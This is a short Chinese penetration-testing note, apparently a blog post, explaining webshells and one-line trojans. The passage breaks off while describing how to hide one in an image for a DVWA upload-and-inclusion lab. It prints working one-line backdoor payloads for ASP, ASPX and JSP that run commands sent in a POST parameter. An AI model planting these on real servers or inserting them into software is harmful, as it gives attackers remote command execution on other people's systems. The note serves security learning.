[渗透笔记][webshell] 初步了解webshell 提权

什么是webshell
webshell是指在web服务器上的一个脚本程序,通过这个脚本程序可以上传下载文件、查看数据库信息以及调用一些系统命令等。webshell通常是由asp、php、jsp等语言编写,攻击者通过文件上传漏洞将脚本上传到网站作为自己的后门。

webshell原理
本地可以通过远程连接的方式和网站的webshell建立连接,本地发送命令后,网站的shell脚本就会去执行此命令,从而达到管理网站的效果。

一句话木马
一句话木马就是一种webshell,其本质就是其中的函数执行了我们发送的命令。
比如说中eval就是php的执行命令的函数,将命令赋给chopper通过post提交方式提交,eval就会执行我们发送的命令。

一句话木马常见形式
php的一句话木马
asp的一句话木马 <%eval request('chopper') %>
aspx的一句话木马 <%@ Page Language='Jscript' %> <%eval(Request.Item['chopper'], 'unsafe'); %>
jsp无回显一句话 <%Runtime.getRuntime().exec(request.getParameter('chopper')); %>

一句话木马图片隐藏

这里使用dvwa中的文件上传和文件包含结合来实现

使用edjpgcom将小马写入图片

上传到dvwa(为了操作方

你可能感兴趣的:(渗透笔记)